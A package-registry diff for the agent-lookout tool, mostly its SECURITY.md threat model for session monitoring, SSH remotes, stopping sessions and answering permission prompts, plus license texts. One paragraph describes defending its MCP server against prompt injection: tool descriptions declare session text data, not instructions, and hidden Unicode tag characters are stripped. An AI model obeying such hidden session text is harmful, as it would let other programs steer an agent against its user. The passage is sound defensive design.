agent-lookout 0.2.3 → 0.2.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +44 -0
- package/PRIVACY.md +139 -19
- package/README.md +18 -8
- package/SECURITY.md +36 -8
- package/dist/THIRD-PARTY-LICENSES.md +195 -0
- package/dist/assets/HistoryPanel-TXa0oPH4.js +1 -0
- package/dist/assets/SessionPanel-BStoG7uq.js +1 -0
- package/dist/assets/index-BsTJp5-3.css +1 -0
- package/dist/assets/index-a7ubgAmE.js +3 -0
- package/dist/assets/radix-BH0JH8UU.js +41 -0
- package/dist/cli/agent-lookout.js +4 -4
- package/dist/cli/{chunk-4C34YX6S.js → chunk-NWVEVCRT.js} +14 -3
- package/dist/cli/{chunk-GOX5UB5L.js → chunk-OT3EGOTY.js} +120 -7
- package/dist/cli/{chunk-54ODUY75.js → chunk-Q73JDXXW.js} +1 -1
- package/dist/cli/mcpServer-IFB2FEOZ.js +23667 -0
- package/dist/cli/{startCommand-H6O35VYR.js → startCommand-J3QS26SZ.js} +4887 -1216
- package/dist/index.html +3 -3
- package/docs/API.md +266 -55
- package/docs/GUIDE.md +396 -61
- package/package.json +5 -5
- package/dist/assets/HistoryPanel-DMnhIoFB.js +0 -1
- package/dist/assets/SessionPanel-BNm9wCzf.js +0 -1
- package/dist/assets/atkinson-hyperlegible-mono-latin-400-normal-Cmjm2dBj.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-mono-latin-500-normal-BV5ipwqM.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-mono-latin-600-normal-CuPF9o0F.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-mono-latin-ext-400-normal-ITMuFrSK.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-mono-latin-ext-500-normal-BiHEOgiK.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-mono-latin-ext-600-normal-ZiH-ObRk.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-next-latin-400-normal-DPp7N0cD.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-next-latin-500-normal-B0CYqHl3.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-next-latin-600-normal-BhgCag5w.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-next-latin-ext-400-normal-qxMiU51n.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-next-latin-ext-500-normal-oZS3KxrF.woff +0 -0
- package/dist/assets/atkinson-hyperlegible-next-latin-ext-600-normal-BBAQIogt.woff +0 -0
- package/dist/assets/index-Ckda8OV4.js +0 -2
- package/dist/assets/index-DFR77qn5.css +0 -1
- package/dist/assets/radix-27o0jeIu.js +0 -41
- package/dist/cli/mcpServer-QQFQR6DC.js +0 -246
package/SECURITY.md
CHANGED
|
@@ -12,7 +12,7 @@ The project has one maintainer, so replies are best effort. Fixes land on `main`
|
|
|
12
12
|
|
|
13
13
|
## What the app handles
|
|
14
14
|
|
|
15
|
-
Agent Lookout reads metadata about the Claude Code and Codex sessions on your machine: names, working directories, statuses and, for Claude Code, process IDs. For each session's folder it reads which git branch is checked out, and which repository the folder belongs to, from the repository's `.git` entry, `HEAD` and a worktree's `commondir` alone, and runs no git command. On a Mac it also lists every process's ID, parent, terminal and program name with `ps` when a new Claude Code session appears, to find the Terminal or iTerm2 tab it runs in, and keeps only the app and the session's terminal. It serves that to the dashboard over HTTP on a loopback address. Of Claude Code's transcripts it reads only the end of a waiting session's own, opened without following a link, and keeps one line of it, what the session is asking, until the wait ends. That line goes to the dashboard and to notifications on this machine, never to an email, a webhook post or `agent-lookout mcp`. It does open Codex's session files, which hold whole conversations, and keeps only when turns started and ended and a few fields. It writes to no agent's files. It also reads the folder of status files, `~/.agent-lookout/sessions` or the one `AGENT_LOOKOUT_STATUS_DIR` names, where any program can write a small JSON file to show one of its sessions, and it writes nothing there. It keeps the Events log and the counts behind its charts in its own folder, `~/.agent-lookout/history`, which it makes with mode 700, in files of mode 600 that it neither reads nor writes through a link. They hold session IDs and names, statuses and times, and never what a waiting session is asking. `AGENT_LOOKOUT_HISTORY=off` keeps them in memory only. [PRIVACY.md](PRIVACY.md) lists everything it reads, runs and keeps.
|
|
15
|
+
Agent Lookout reads metadata about the Claude Code and Codex sessions on your machine, and, once you name them, on other machines of yours that run Agent Lookout, read over SSH: names, working directories, statuses and, for Claude Code, process IDs. For each session's folder it reads which git branch is checked out, and which repository the folder belongs to, from the repository's `.git` entry, `HEAD` and a worktree's `commondir` alone, and runs no git command. On a Mac it also lists every process's ID, parent, terminal and program name with `ps` when a new Claude Code session appears, to find the Terminal or iTerm2 tab it runs in, and keeps only the app and the session's terminal. It serves that to the dashboard over HTTP on a loopback address. Of Claude Code's transcripts it reads only the end of a waiting session's own, opened without following a link, and keeps one line of it, what the session is asking, until the wait ends. That line goes to the dashboard and to notifications on this machine, never to an email, a webhook post or `agent-lookout mcp`. It does open Codex's session files, which hold whole conversations, and keeps only when turns started and ended and a few fields. It writes to no agent's files. It ends a Claude Code session's process only when the person presses Stop and confirms, and answers a Claude Code permission prompt only when the person presses Allow or Deny, by the routes described below, and never on its own. It also reads the folder of status files, `~/.agent-lookout/sessions` or the one `AGENT_LOOKOUT_STATUS_DIR` names, where any program can write a small JSON file to show one of its sessions, and it writes nothing there. It keeps the Events log and the counts behind its charts in its own folder, `~/.agent-lookout/history`, which it makes with mode 700, in files of mode 600 that it neither reads nor writes through a link. They hold session IDs and names, statuses and times, and never what a waiting session is asking. `AGENT_LOOKOUT_HISTORY=off` keeps them in memory only. Beside them it keeps the time rules set in Settings in `~/.agent-lookout/settings.json`, or the file `AGENT_LOOKOUT_SETTINGS_FILE` names, of mode 600, which holds nothing about a session and which it neither reads nor writes through a link. [PRIVACY.md](PRIVACY.md) lists everything it reads, runs and keeps.
|
|
16
16
|
|
|
17
17
|
With notifications turned on in Settings, the dashboard page hands a session's name and a fixed text, the reason it waits or Finished, Failed or Ended, to the browser's Notifications API, which passes them to the operating system. When no dashboard page is open, the local server shows the notification itself on macOS: it runs `/usr/bin/osascript` with a fixed script, and passes the name and the text to that script as arguments. Each dashboard page tells the server whether its notifications are on, in a header on its requests, and the server shows its own only while the last page to say so said they are on, or `AGENT_LOOKOUT_NOTIFICATIONS=on` was set and no page has said anything. Nothing is sent over the network for any of this. [PRIVACY.md](PRIVACY.md#notifications) has the details.
|
|
18
18
|
|
|
@@ -20,7 +20,11 @@ Email notifications are off unless they are set up in the environment Agent Look
|
|
|
20
20
|
|
|
21
21
|
Webhook posts are off unless `AGENT_LOOKOUT_WEBHOOK_URL` is set in the environment Agent Lookout starts with. Then, for each event chosen, the collector sends one short JSON post to that one address, over HTTPS with the certificate checked, or over plain HTTP only to `127.0.0.1` or `localhost`. It holds the session's name, what happened, when, the name of its project folder, its app and its agent, and, for a wait with `AGENT_LOOKOUT_WEBHOOK_ASKING=on`, what the session is asking. It follows no redirect and tries nothing twice. The address is itself a secret: whoever has a Slack incoming webhook's address can post to its channel. So it lives in the environment of the Agent Lookout process and nowhere else: it is never written to a file, sent to the dashboard or printed. `GET /api/webhook` tells the dashboard only whether the webhook is on, the host, the events, the delay, whether a wait's post says what the session is asking, and how the last post went. [PRIVACY.md](PRIVACY.md#webhook) has the details.
|
|
22
22
|
|
|
23
|
-
|
|
23
|
+
Other machines are read only when `AGENT_LOOKOUT_REMOTES` names them, each as a name and a target. A name is letters, digits and dashes, and a target is a host alias, a host name or `user@host` made of letters, digits, dots, dashes and underscores, starting with a letter, a digit or an underscore, so no space, leading dash, option such as `-oProxyCommand=`, or shell character gets in. One entry that is not, and no machine is read. For each, the collector runs the person's own `ssh`, found on `PATH`, in a fixed place or by `AGENT_LOOKOUT_SSH_BIN`, by its full path, never through a shell, with nothing on its input, as `ssh -N -o BatchMode=yes -o ExitOnForwardFailure=yes -o ServerAliveInterval=15 -o ControlMaster=no -o ControlPath=none -L 127.0.0.1:<free port>:127.0.0.1:<port there> -- <target>`. The target comes after `--`, as one argument. ssh runs no command on the other machine and asks for nothing, so Agent Lookout never handles a key or a password. `ControlMaster=no` and `ControlPath=none`, given on the command line, come before the person's own ssh config, so each ssh is a connection of its own: it never joins an ssh the person has open, whose forward would outlive Agent Lookout, and never leaves one in the background through `ControlPersist`. When Agent Lookout stops, it sends each ssh SIGTERM, and SIGKILL to one that has not ended two seconds later. Through the tunnel the collector sends `GET /api/health` and `GET /api/sessions` to the Agent Lookout there and nothing else. The requests arrive on that machine's own loopback, so its `Host` and `Origin` checks pass as they do for its own page, and they carry no `Origin` and no notifications header. The page on this computer never talks to the other machine, only to its own server. The answer is read as untrusted: every field is checked and cleaned again, sessions there are given ids of their own, `remote:<name>:` and the id there, and their process ID, Jump, Stop, held permission request and links are dropped, so nothing in an answer can make this computer select a pane, bring a tab forward, open a link, stop a process or answer a permission prompt. [PRIVACY.md](PRIVACY.md#another-machine-over-ssh) says what is kept.
|
|
24
|
+
|
|
25
|
+
While a tunnel is up, its end on this computer's `127.0.0.1` is open to every program and every user account on this computer, not only to Agent Lookout, and it leads to the other machine's Agent Lookout and its whole API, not only the two routes the collector asks for. Through it, a program here can read that machine's sessions and send the routes that change something there: `POST /api/jump`, `POST /api/history/clear`, `POST /api/sessions/stop`, `POST /api/sessions/clean-up`, `POST /api/permission/answer` and `POST /api/settings/time-rules`. Their `Origin` and action-header checks stop a website, but not a program that is not a browser, which can set those headers. Before a machine is named, only someone on that machine could do this. There is also a moment, before ssh has signed in and listens on the port it was given, when that port is free: another program here could listen on it first and answer as that machine's Agent Lookout, and its sessions would be shown as that machine's, with no Jump, no Stop and no Allow or Deny. So name a machine only from a computer whose other users and programs you trust as you trust those on that machine.
|
|
26
|
+
|
|
27
|
+
Six routes of the local API change something: `POST /api/jump`, which the Jump button of a session in tmux, Terminal or iTerm2 sends, `POST /api/history/clear`, which the Clear history button in Settings sends, `POST /api/sessions/stop` and `POST /api/sessions/clean-up`, which Stop session and the ending of the sessions left running send, `POST /api/permission/answer`, which Allow and Deny send, and `POST /api/settings/time-rules`, which the Time rules card in Settings sends. Every other route only reads. The two that stop sessions, and the one that answers, are described after the jump route, below. `POST /api/history/clear` deletes the history files in Agent Lookout's own folder and empties the Events log and the history in memory. Its body is exactly `{}`, nothing in it names a file, and it makes the same checks as the jump route, below, with `X-Agent-Lookout-Action: clear-history`. `POST /api/settings/time-rules` puts the time rules in force and writes them to the settings file. It makes the same checks as the jump route, with `X-Agent-Lookout-Action: time-rules`, and takes a body of 2,048 bytes or less that is exactly the three rules, each with exactly its own fields and every value in range, and nothing else. Nothing in it names a file: the file is the one Agent Lookout was started with, written whole to a new file of mode 600 that then takes its place, never through a link. The rules decide only when Agent Lookout tells you of something, and which idle sessions count as stale, and so which are offered under Left running: ending one still takes a press of End and every check below. The rest of this part is about `POST /api/jump`. For a session in tmux it can change three things, all inside tmux: which pane is selected in its window, which window is selected in its tmux session, and which tmux session each attached terminal is showing. For a session in a tab of Terminal or iTerm2, on macOS, it can bring that tab forward: select it in its window, bring the window back from the Dock if it was minimised and in front of the app's others, and bring the app to the front. It sends no keys, runs nothing inside a pane or a tab, starts no tmux server and starts no app.
|
|
24
28
|
|
|
25
29
|
A request to it names a session by its ID and nothing else. The server looks that session up in its own list and takes the pane it found for that session's process when it last asked tmux. It checks that the pane's ID is a `%` followed by digits, and gives it to a fixed list of tmux commands: `select-window`, `select-pane`, `display-message -p`, `list-clients` and `switch-client`. Nothing from the request is passed to tmux, and tmux is started directly, never through a shell. So the route can never be made to run another program, another tmux command or a command with other arguments. The most a request can do is choose which of the panes already found for a listed session is selected.
|
|
26
30
|
|
|
@@ -36,11 +40,24 @@ On top of the checks every route makes, the route answers only a request that:
|
|
|
36
40
|
|
|
37
41
|
It makes one jump a second, and one at a time. `AGENT_LOOKOUT_TMUX=off` stops Agent Lookout running tmux, and the route then finds no pane for any session. `AGENT_LOOKOUT_TERMINAL_JUMP=off` stops it looking for tabs, and the route then brings no tab forward. [PRIVACY.md](PRIVACY.md#tmux) lists each command, and [Terminal and iTerm2](PRIVACY.md#terminal-and-iterm2) the script.
|
|
38
42
|
|
|
43
|
+
`POST /api/sessions/stop` ends one Claude Code session's process, and `POST /api/sessions/clean-up` ends up to 20 sessions left running, idle for a day or more, or as long as the idle rule says while it is on. Each passes the checks above, with `X-Agent-Lookout-Action: stop` or `clean-up`, and a body of 1,024 bytes or less that is exactly `{"sessionId": "..."}`, or of 8 KiB or less that is exactly `{"sessions": [{"sessionId": "...", "statusSince": ...}]}`. A request names sessions, and for a clean-up the moment each one's idle began, and nothing else. The server looks each session up in its own list and acts on what the Claude Code adapter found for it: its process ID, the start time its registry file recorded and, for a background job, the job's ID, none of which is sent to the page or read from a request. Before it acts, it makes every check again at that moment, with nothing remembered:
|
|
44
|
+
|
|
45
|
+
- It reads the session's registry file again, an ordinary file it opens without following a link. The file must still name that session and that process, be of kind `interactive` or `bg`, the kind it had, and record the same start time. A file that names no kind, or another, is refused.
|
|
46
|
+
- It runs `ps` for that process again, and acts only when `ps` gives the same start time the file recorded, a second apart at most, since `ps` gives it in whole seconds. A start time `ps` does not give, or that cannot be compared, is refused as not confirmed. So a pid that has been handed to another program is not signalled unless that program started within a second of the session, and the few milliseconds before the signal, below, are a known gap.
|
|
47
|
+
- It refuses process 1, its own process, the process it was started from and every process above that, which it finds by following its own process up through its parents in `ps -A -o pid=,ppid=` at that moment, a process of another user's, and a session in Claude Code's desktop app.
|
|
48
|
+
- For a clean-up, the file, and the server's own latest list of sessions, which can come from `claude agents`, must also still say the session is idle, since the moment the page sent, and that moment must be 24 hours or more ago, or as long ago as the idle rule says. A session that has done anything since is left running.
|
|
49
|
+
|
|
50
|
+
Then it sends SIGTERM to that one process, never SIGKILL, and waits up to 10 seconds for it to end, or, for a background job, runs the `claude` binary it already runs for `claude agents`, directly, never through a shell, with stdin closed and a 10 second timeout, as `claude stop` and the job's ID, which must be letters, digits, dashes and underscores, starting with a letter or a digit. One stop or clean-up is made at a time, a second apart. The time between the `ps` check and the signal is a few milliseconds, and for a pid to be given to another program in that time, the process would have to end and the system would have to give out every other pid first. macOS has no way to close that gap entirely. `AGENT_LOOKOUT_STOP=off` removes both routes. [Stopping a session](PRIVACY.md#stopping-a-session) has the rest.
|
|
51
|
+
|
|
52
|
+
`POST /api/permission/answer` answers one Claude Code permission prompt that Agent Lookout holds. It reaches a session only through the Agent Lookout plugin, which the person installs in Claude Code themselves. The plugin's one hook, a short `sh` script, sends each permission request with `curl` to a Unix socket, `~/.agent-lookout/answer.sock` unless `AGENT_LOOKOUT_ANSWER_SOCKET` names another, and prints the answer it gets back, when it is one of the two Agent Lookout gives. The socket is in a folder of mode 700 that must belong to the user, and has mode 600. Agent Lookout tightens its own folder, `~/.agent-lookout`, to 700, but never changes a folder `AGENT_LOOKOUT_ANSWER_SOCKET` names that it did not make: when others can open one, answering is off. So only that user's programs can connect, and no web page can reach a socket at all. It takes only `POST /hooks/permission-request` with `X-Agent-Lookout-Hook: permission-request`, a JSON body of 1 MiB or less and no `Origin`, and answers anything else with an empty 200, which the hook prints nothing for. A request is shown, and can be answered, only once the registry file of a session it lists says that session waits for permission, within 3 seconds of the request, and otherwise it is let go with nothing. It refuses a socket path longer than a socket can have, rather than let it be cut short to another path, and never removes anything at that path but a socket nobody answers on. One copy listens at a time.
|
|
53
|
+
|
|
54
|
+
The route passes the checks above, with `X-Agent-Lookout-Action: answer`, and a body of 1,024 bytes or less that is exactly `{"sessionId": "...", "requestId": "...", "decision": "allow" | "deny"}`. The request ID is 128 random bits Agent Lookout made for the request it holds, so a page showing an older request cannot answer a newer one. It answers only a request it holds for that session under that ID, Allow only when the whole of what Allow allows was shown, which is never the case for an edit, a new file, a plan or a question, and only after it has read the session's registry file again and found it still says the session waits for permission, in the same wait, by its `statusUpdatedAt` and `waitingFor`, that the request was shown in. What it writes is one of two fixed texts: allow, or deny with a fixed sentence. It never sends `updatedInput` or `updatedPermissions`, so it cannot change what a tool does or save a rule, and Claude Code still applies its own deny rules after an allow. A request is let go, answered with nothing, once the session is no longer waiting for permission or is waiting in a later wait, the hook's connection closes, or `AGENT_LOOKOUT_ANSWER_WAIT` has passed, and the prompt in the session decides as it would without the plugin. `AGENT_LOOKOUT_ANSWER=off` opens no socket and removes the route.
|
|
55
|
+
|
|
39
56
|
The Mac app answers four more routes, under `/api/app/` on its own address, which no port reaches and which `npm start` and the npm package do not have: `GET /api/app/update`, and three POSTs that check GitHub for a newer version, install the one that is ready, and turn the daily check on or off. Each POST passes the checks above, with an `X-Agent-Lookout-Action` of its own, and a body of 256 bytes or less that is exactly what it needs. The app's only requests off the machine are the update check's and its download's, over HTTPS, with the certificate checked, to GitHub and the two hosts GitHub redirects a release's downloads to, and to no other address, a redirect's included. A download must have the size and SHA-512 the release's `latest-mac.yml` gives, and the bundle in it must be this app, by its bundle identifier, at the version offered, with no link where the bundle, its `Contents` or its `Info.plist` should be. Only Install and Restart starts the helper that replaces the app: `/bin/sh` with a fixed script, and the app's process ID and three paths as its arguments, two of them in the app's own temporary folder. Nothing from the network or from a request reaches its arguments or any command. The app is not signed with a Developer ID yet, so a download is vouched for by the release it comes from and the hash in that release, and is as safe as the project's GitHub releases are.
|
|
40
57
|
|
|
41
|
-
`agent-lookout mcp` is a Model Context Protocol server for an agent that keeps track of your other agents. The agent's app starts it and speaks to it over stdin and stdout, so it opens no port. For each tool call it reads `GET /api/sessions` from the local server, at a loopback address only, with no `Origin` and no notifications header, exactly as `agent-lookout status` does, and answers the app with what it read. Its three tools only read: none of them reaches `POST /api/jump` or `POST /api/
|
|
58
|
+
`agent-lookout mcp` is a Model Context Protocol server for an agent that keeps track of your other agents. The agent's app starts it and speaks to it over stdin and stdout, so it opens no port. For each tool call it reads `GET /api/sessions` from the local server, at a loopback address only, with no `Origin` and no notifications header, exactly as `agent-lookout status` does, and answers the app with what it read. Its three tools only read: none of them reaches `POST /api/jump`, `POST /api/history/clear`, `POST /api/sessions/stop`, `POST /api/sessions/clean-up`, `POST /api/permission/answer` or `POST /api/settings/time-rules`, changes a notification or changes anything else. A session's name, agent, folder and branch are text that other programs wrote, and the client is a model that takes instructions from text. So each tool's description and each answer say that this text is data, never instructions, the one-sentence summary puts each name in quotation marks, and escape sequences and control characters are taken out of every text, as `agent-lookout status` does. So are characters that show nothing, such as zero-width spaces and Unicode's tag characters, in which words can be hidden from a person but not from a model.
|
|
42
59
|
|
|
43
|
-
The local API has no token, and the MCP server adds none, though one was suggested for it. The server opens no port of its own, and the API it reads is the same loopback API that the dashboard and `agent-lookout status` read without one. Websites and other computers are already kept away from that API by the `Host` and `Origin` checks and by its listening on loopback alone. Against websites and other computers a token would add nothing to those checks, and programs running as you could read a token as easily as the API. It could keep out other accounts on a shared computer, the known limit listed below, and is left for later. An API that can be reached some other way, such as from another computer, would need one too, and Agent Lookout has none. [docs/API.md](docs/API.md) describes every route and its checks.
|
|
60
|
+
The local API has no token, and the MCP server adds none, though one was suggested for it. The server opens no port of its own, and the API it reads is the same loopback API that the dashboard and `agent-lookout status` read without one. Websites and other computers are already kept away from that API by the `Host` and `Origin` checks and by its listening on loopback alone. Against websites and other computers a token would add nothing to those checks, and programs running as you could read a token as easily as the API. It could keep out other accounts on a shared computer, the known limit listed below, which includes another account asking the server to stop your Claude Code sessions, and is left for later. An API that can be reached some other way, such as from another computer, would need one too, and Agent Lookout has none. [docs/API.md](docs/API.md) describes every route and its checks.
|
|
44
61
|
|
|
45
62
|
Session names and folder paths can be sensitive. The main risk is that something other than your own browser reads them.
|
|
46
63
|
|
|
@@ -48,7 +65,11 @@ Session names and folder paths can be sensitive. The main risk is that something
|
|
|
48
65
|
|
|
49
66
|
- A website, or another machine on the network, reading the local API. That includes getting past the `Host` and `Origin` checks and DNS rebinding.
|
|
50
67
|
- `npm start` listening on any address other than loopback.
|
|
51
|
-
- Any network request from Agent Lookout itself to anything but its own local server, apart from the mail server named in `AGENT_LOOKOUT_SMTP_URL` once email is set up
|
|
68
|
+
- Any network request from Agent Lookout itself to anything but its own local server, apart from the mail server named in `AGENT_LOOKOUT_SMTP_URL` once email is set up, the address in `AGENT_LOOKOUT_WEBHOOK_URL` once a webhook is set up, and the end on `127.0.0.1` of an SSH tunnel to a machine `AGENT_LOOKOUT_REMOTES` names.
|
|
69
|
+
- `ssh` run while `AGENT_LOOKOUT_REMOTES` is unset or cannot be read, through a shell, with any arguments but the fixed ones and a target that passed the check, or with a target that ssh can read as an option. Also a forward that listens on anything but `127.0.0.1` here, or reaches anything but `127.0.0.1` there.
|
|
70
|
+
- A request through the tunnel other than `GET /api/health` and `GET /api/sessions`, or one that carries anything of this computer's, such as its sessions or its notifications header.
|
|
71
|
+
- Anything in another machine's answer that runs as script or markup in the dashboard, that becomes a Jump, a Stop, an Allow or Deny, a link or a command on this computer, or that passes for one of this computer's own sessions.
|
|
72
|
+
- An ssh process Agent Lookout started that keeps running after Agent Lookout has stopped.
|
|
52
73
|
- An email sent, or a connection to a mail server opened, while `AGENT_LOOKOUT_EMAIL_TO` or `AGENT_LOOKOUT_SMTP_URL` is unset, or while one of the email settings cannot be read.
|
|
53
74
|
- The mail server's password, its user name or its address reaching the dashboard, the API, a log, the console or a file.
|
|
54
75
|
- An email that holds more than PRIVACY.md lists, or that goes to any address but the one in `AGENT_LOOKOUT_EMAIL_TO`.
|
|
@@ -75,25 +96,32 @@ Session names and folder paths can be sensitive. The main risk is that something
|
|
|
75
96
|
- In the Mac app, a request, a release or anything from the network that makes it run anything but `/usr/bin/ditto`, `/usr/bin/plutil` and its fixed update helper, passes them arguments it did not make itself, installs a download whose size or SHA-512 is not the one the release gives or whose bundle is not Agent Lookout at the version offered, installs anything before Install and Restart is pressed, or makes a request to any host but GitHub's three for a release.
|
|
76
97
|
- A website, or a page served from anywhere but this machine, making the app select a tmux pane or bring a tab of Terminal or iTerm2 forward.
|
|
77
98
|
- A request to `POST /api/jump` that makes tmux do anything but select a pane found for a listed session, its window and its tmux session: running a command, sending keys, or reaching any other pane.
|
|
99
|
+
- A request to `POST /api/permission/answer`, or anything sent to the answer socket, that answers a permission prompt Agent Lookout does not hold for that session under that request ID, that allows one whose whole request was not shown or that offers Deny alone, that answers one after the session's registry file stopped saying it waits, that writes anything but the two fixed answers, or that rewrites a tool's input or saves a permission rule. Also a website, or a page served from anywhere but this machine, making the app answer a prompt, a request's text reaching a file, an event, the history, an email, a webhook post or `agent-lookout mcp`, and the socket or its folder being open to another user.
|
|
100
|
+
- A request to `POST /api/sessions/stop` or `POST /api/sessions/clean-up` that signals any process but a listed Claude Code session's own, one whose registry file and start time were not confirmed at that moment, or one in the desktop app, that sends any signal but SIGTERM, that runs `claude` with any arguments but `stop` and a job's ID found for a listed session, or that ends a session that was not idle since the moment the page sent. Also a website, or a page served from anywhere but this machine, making the app stop a session.
|
|
78
101
|
- A session's name, a tmux session's name, or anything else from a session or from tmux, that `tmux` reads as a command, a target or an option.
|
|
79
102
|
- A request to `POST /api/jump` that makes `osascript` run any script but the fixed one for Terminal or iTerm2, or with any argument but a terminal found for a listed session, or that makes Terminal or iTerm2 do anything but bring a tab forward: running a command, sending keys or text, or reading what a tab shows.
|
|
80
103
|
- A session name, or anything else from a session, that `osascript` reads as AppleScript or as one of its options instead of showing it as text.
|
|
81
104
|
- A Jump link that opens anything other than the intended `vscode://` address.
|
|
82
105
|
- A notification, or the browser's question about allowing them, appearing when you have not turned notifications on, in Settings or with `AGENT_LOOKOUT_NOTIFICATIONS=on`.
|
|
83
|
-
- A notification that holds anything but the session's name and the reason, or Finished, Failed or Ended, or that makes the browser fetch anything.
|
|
106
|
+
- A notification that holds anything but the session's name and the reason, or Finished, Failed or Ended, or for a reminder how long the session has waited and for what, or for the summary of quiet hours the names of the sessions and what happened to them, or that makes the browser fetch anything.
|
|
107
|
+
- A request to `POST /api/settings/time-rules` that writes anything but the three rules to the settings file, writes to any other file, writes through a link, or changes anything else in Agent Lookout. A settings file that is read through a link, or that makes Agent Lookout read more than 64 KB, send anything anywhere, or run anything. Also a website, or a page served from anywhere but this machine, changing the time rules.
|
|
108
|
+
- Quiet hours that let a notification, an email or a post through while they hold, or a summary that holds more than PRIVACY.md lists.
|
|
84
109
|
- A page at another address reading or steering the dashboard's notifications, or turning the server's own on or off.
|
|
85
|
-
- A tool of `agent-lookout mcp` that acts: that reaches `POST /api/jump`, sends the notifications header, or changes anything in Agent Lookout, in another tool or on this computer.
|
|
110
|
+
- A tool of `agent-lookout mcp` that acts: that reaches `POST /api/jump`, a route that stops a session or the route that answers one, sends the notifications header, or changes anything in Agent Lookout, in another tool or on this computer.
|
|
86
111
|
- `agent-lookout mcp` reading anything but `GET /api/sessions` from Agent Lookout at a loopback address, asking an address that is not loopback, opening a port, or making any other connection.
|
|
87
112
|
- Text from a session reaching the app that started `agent-lookout mcp` without being marked as data: a tool description or an answer that does not say it is untrusted text, a name outside its quotation marks in the summary, or a name, agent, folder, branch or source detail with an escape sequence, control character or invisible character such as a Unicode tag character left in it.
|
|
88
113
|
- Anything `agent-lookout mcp` writes to stdout that is not the protocol's own message, or an answer that holds more than PRIVACY.md lists, such as a session's whole folder path.
|
|
89
114
|
|
|
90
115
|
## Out of scope
|
|
91
116
|
|
|
92
|
-
- Other programs on the same machine reading the local API, sending it the header that turns the server's notifications on or off,
|
|
117
|
+
- Other programs on the same machine reading the local API, sending it the header that turns the server's notifications on or off, changing the time rules, asking it to select a tmux pane or bring a tab forward, asking it to stop a Claude Code session, with every check it makes for the Stop button, or asking it to answer a permission prompt it holds, with every check it makes for Allow and Deny. The API has no authentication, so any local process can request it, and on a shared computer that includes other user accounts. This is a known limit of this version. A program running as you could end your processes itself, but on a shared computer another account can also ask this server to stop your sessions, or allow a permission prompt it holds, which it could not do itself. On such a computer, use the Mac app, which opens no port, so only its own window can ask, or set `AGENT_LOOKOUT_STOP=off`, which takes stopping away, and `AGENT_LOOKOUT_ANSWER=off`, which takes answering away.
|
|
93
118
|
- A program on this machine that names itself after Terminal or iTerm2 in the list of processes, and so gives a session under it a Jump button. Pressing it asks the real app for a tab on that session's terminal, which it does not have.
|
|
94
119
|
- A notification the server showed staying in Notification Centre after its session has moved on. The server cannot take one down, and PRIVACY.md says so.
|
|
95
120
|
- The dev server started with Vite's `--host` flag, which makes it listen on the network. `npm start` refuses to listen on anything but loopback.
|
|
96
121
|
- Attacks that need control of your user account first. Someone with that control can read `~/.claude` and `~/.codex` directly.
|
|
122
|
+
- What the other machine's Agent Lookout reports about its own sessions. Someone who controls that machine, or its Agent Lookout, can make it list sessions that do not exist, and they are shown here as that machine's, marked with its name. They cannot act on this computer.
|
|
123
|
+
- What `ssh` does with the person's own ssh config, such as a `ProxyCommand` or a `LocalCommand` set there for the host named. Agent Lookout gives ssh its fixed options and the target, and the rest is the person's config, as in a terminal.
|
|
124
|
+
- Another program or user on this computer reaching the other machine's Agent Lookout through a tunnel's port while it is up, or listening on that port before ssh does, as described above. Keeping the port to this user alone would need a forward to a socket file, which this version does not make.
|
|
97
125
|
- A program on this machine writing a status file to show a session that does not exist, or to change one that does. Any program that can write in the folder can do that: it is how the format works. The folder sits in your home folder, so that means programs you run.
|
|
98
126
|
- More than 200 status files: only the 200 written most recently are read.
|
|
99
127
|
- A hard link in the folder of status files to a file elsewhere. It is an ordinary file in the folder and is read as one, and making it takes the same access as writing a status file.
|
|
@@ -2375,3 +2375,198 @@ INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
|
|
|
2375
2375
|
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
|
2376
2376
|
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
|
|
2377
2377
|
OTHER DEALINGS IN THE FONT SOFTWARE.
|
|
2378
|
+
|
|
2379
|
+
## @modelcontextprotocol/sdk - 1.32.1 (MIT)
|
|
2380
|
+
|
|
2381
|
+
MIT License
|
|
2382
|
+
|
|
2383
|
+
Copyright (c) 2024 Anthropic, PBC
|
|
2384
|
+
|
|
2385
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
2386
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
2387
|
+
in the Software without restriction, including without limitation the rights
|
|
2388
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
2389
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
2390
|
+
furnished to do so, subject to the following conditions:
|
|
2391
|
+
|
|
2392
|
+
The above copyright notice and this permission notice shall be included in all
|
|
2393
|
+
copies or substantial portions of the Software.
|
|
2394
|
+
|
|
2395
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
2396
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
2397
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
2398
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
2399
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
2400
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
2401
|
+
SOFTWARE.
|
|
2402
|
+
|
|
2403
|
+
## ajv - 8.20.0 (MIT)
|
|
2404
|
+
|
|
2405
|
+
The MIT License (MIT)
|
|
2406
|
+
|
|
2407
|
+
Copyright (c) 2015-2021 Evgeny Poberezkin
|
|
2408
|
+
|
|
2409
|
+
